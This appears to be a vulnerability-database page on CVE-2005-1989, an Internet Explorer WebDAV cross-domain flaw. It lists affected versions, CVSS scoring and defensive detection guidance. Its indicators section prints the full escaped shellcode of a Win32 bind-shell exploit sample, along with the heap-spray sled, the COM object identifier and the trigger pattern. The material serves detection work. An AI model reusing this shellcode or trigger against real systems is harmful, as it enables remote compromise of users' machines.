CVE-2005-1989

published 2005-08-10

CVE-2005-1989: Unknown vulnerability in Internet Explorer 5.0, 5.5, and 6.0 allows remote attackers to obtain information and possibly execute code when browsing from a web…

Priority P3 39 high 7.5 CVSS 2.0

AV N AC L Au N C P I P A P

EXPLOIT

Unknown vulnerability in Internet Explorer 5.0, 5.5, and 6.0 allows remote attackers to obtain information and possibly execute code when browsing from a web site to a web folder view using WebDAV, aka "Web Folder Behaviors Cross-Domain Vulnerability".

Affected

3 ranges

Vendor	Product	Version range	Fixed in
microsoft	ie	—	—
microsoft	internet_explorer	—	—
microsoft	internet_explorer	—	—

Detection & IOCs extracted from sources · hover to see the quote

other 3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5↗

filename blnmgr.dll↗

bytes↗

%u4343%u4343%u43eb%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb

bytes↗

%u0D0D%u0D0D

• → Exploit instantiates the blnmgr.dll COM object via CLSID 3F8A6C33-E0FD-11D0-8A8C-00A0C90C2BC5 from a web page; monitor for IE processes loading blnmgr.dll followed by network activity or child process creation. ↗
• → Heap spray uses NOP sled of 0x0D0D0D0D; detect repeated occurrences of the byte sequence 0D 0D 0D 0D in memory or in HTTP response bodies as a heap-spray indicator. ↗
• → Successful exploitation opens a bind shell on TCP port 28876; alert on unexpected inbound connections to that port on client workstations. ↗
• → Exploit page uses location.reload() to re-trigger the vulnerability; combined with the COM object instantiation, this pattern in HTML/JS content is a strong indicator of this exploit. ↗
• → Vulnerability is triggered when IE browses from a web site to a web folder view using WebDAV; monitor for WebDAV PROPFIND/SEARCH requests originating from iexplore.exe as a precursor activity. ↗

• · The shellcode is a Win32 bind-shell payload attributed to SkyLined; the port (28876) and shellcode bytes are hardcoded in this specific exploit sample and may differ in other weaponized variants. ↗
• · The CVE description notes the vulnerability is 'unknown' in mechanism beyond the WebDAV/Web Folder Behaviors cross-domain context, meaning behavioral detections around WebDAV and COM object instantiation are more reliable than signature-only approaches. ↗

CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.